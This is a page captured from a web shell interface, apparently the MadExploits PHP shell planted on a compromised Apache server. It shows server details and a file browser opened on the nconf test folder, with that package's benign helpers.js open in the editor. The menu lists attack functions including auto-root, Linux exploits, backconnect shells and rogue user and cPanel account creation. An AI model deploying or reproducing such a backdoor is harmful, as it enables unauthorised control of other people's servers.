Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
events /
node_modules /
nconf /
test /
[ HOME SHELL ]
Name
Size
Permission
Action
fixtures
[ DIR ]
drwxrwxr-x
mocks
[ DIR ]
drwxrwxr-x
stores
[ DIR ]
drwxrwxr-x
common-test.js
886
B
-rw-rw-r--
complete-test.js
3.65
KB
-rw-rw-r--
helpers.js
1.73
KB
-rw-rw-r--
hierarchy-test.js
3.49
KB
-rw-rw-r--
nconf-test.js
3.9
KB
-rw-rw-r--
provider-save-test.js
934
B
-rw-rw-r--
provider-test.js
5.87
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : helpers.js
/* * helpers.js: Test helpers for nconf. * * (C) 2011, Nodejitsu Inc. * */ var assert = require('assert'), spawn = require('child_process').spawn, util = require('util'), fs = require('fs'), path = require('path'), nconf = require('../lib/nconf'); exports.assertMerged = function (err, merged) { merged = merged instanceof nconf.Provider ? merged.store.store : merged; assert.isNull(err); assert.isObject(merged); assert.isTrue(merged.apples); assert.isTrue(merged.bananas); assert.isObject(merged.candy); assert.isTrue(merged.candy.something1); assert.isTrue(merged.candy.something2); assert.isTrue(merged.candy.something3); assert.isTrue(merged.candy.something4); assert.isTrue(merged.dates); assert.isTrue(merged.elderberries); }; exports.assertSystemConf = function (options) { return { topic: function () { var env = null; if (options.env) { env = {} Object.keys(process.env).forEach(function (key) { env[key] = process.env[key]; }); Object.keys(options.env).forEach(function (key) { env[key] = options.env[key]; }); } var child = spawn('node', [options.script].concat(options.argv), { env: env }); child.stdout.once('data', this.callback.bind(this, null)); }, "should respond with the value passed into the script": function (_, data) { assert.equal(data.toString(), 'foobar'); } } } // copy a file exports.cp = function (from, to, callback) { fs.readFile(from, function (err, data) { if (err) return callback(err); fs.writeFile(to, data, callback); }); }; exports.fixture = function (file) { return path.join(__dirname, 'fixtures', file); };
Close